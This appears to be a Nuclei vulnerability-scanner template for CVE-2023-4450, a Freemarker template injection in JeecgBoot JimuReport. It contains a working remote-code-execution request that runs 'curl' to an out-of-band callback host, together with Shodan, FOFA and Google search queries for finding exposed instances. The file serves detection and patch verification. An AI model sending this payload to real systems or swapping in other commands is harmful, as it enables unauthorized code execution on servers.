nuclei-templates/http/cves/2023/CVE-2023-4450.yaml

52 lines
2.1 KiB
YAML
Raw Normal View History

2024-07-15 06:28:41 +00:00
id: CVE-2023-4450
2024-07-13 01:07:54 +00:00
info:
2024-07-15 06:35:16 +00:00
name: JeecgBoot JimuReport - Template injection
2024-07-15 06:28:41 +00:00
author: Sumanth Vankineni
2024-07-13 01:07:54 +00:00
severity: critical
description: |
2024-07-15 06:35:16 +00:00
A vulnerability was found in jeecgboot JimuReport up to 1.6.0. It has been declared as critical. Affected by this vulnerability is an unknown functionality of the component Template Handler. The manipulation leads to injection. The attack can be launched remotely. The exploit has been disclosed to the public and may be used.
impact: |
Unauthorized api called /jmreport/queryFieldBySql led to remote arbitrary code execution due to parsing SQL statements using Freemarker.
remediation: |
Upgrading to version 1.6.1 is able to address this issue. It is recommended to upgrade the affected component.
2024-07-15 06:28:41 +00:00
reference:
- https://github.com/advisories/GHSA-j8h5-8rrr-m6j9
- https://whoopsunix.com/docs/java/named%20module/
- https://nvd.nist.gov/vuln/detail/CVE-2023-4450
metadata:
verified: true
max-request: 1
vendor: jeecg
product: jeecg
shodan-query:
- title:"Jeecg-Boot"
- http.title:"jeecg-boot"
fofa-query:
- title="JeecgBoot 企业级低代码平台"
- title="jeecg-boot"
- title="jeecgboot 企业级低代码平台"
google-query: intitle:"jeecg-boot"
tags: cve,cve2023,rce,jeecgboot
2024-07-13 01:07:54 +00:00
2024-07-15 06:28:41 +00:00
http:
2024-07-15 07:11:32 +00:00
- raw:
- |
POST /jeecg-boot/jmreport/queryFieldBySql HTTP/1.1
Host: {{Hostname}}
Content-Type: application/json
2024-07-15 06:28:41 +00:00
2024-07-15 07:11:32 +00:00
{
"sql": "<#assign ex=\"freemarker.template.utility.Execute\"?new()>${ex(\"curl http://{{interactsh-url}}\")} ",
"type": "0"
}
2024-07-15 06:28:41 +00:00
2024-07-13 01:07:54 +00:00
matchers:
2024-07-15 07:11:32 +00:00
- type: dsl
dsl:
- 'contains(interactsh_protocol, "http") || contains(interactsh_protocol, "dns")'
- 'status_code == 200'
- 'contains(content_type,"application/json")'
- 'contains(body,"success")'
condition: and
# digest: 4a0a004730450220135a9c5fa1c023dc55fe5eb17706449db2ea049b85cba660a61443ddea7479a3022100ddc514634d1076ee8fa7a54a93604c5c3ea9fe824c53cba4acc708c0e1550d3d:922c64590222798bb761d5b6d8e72950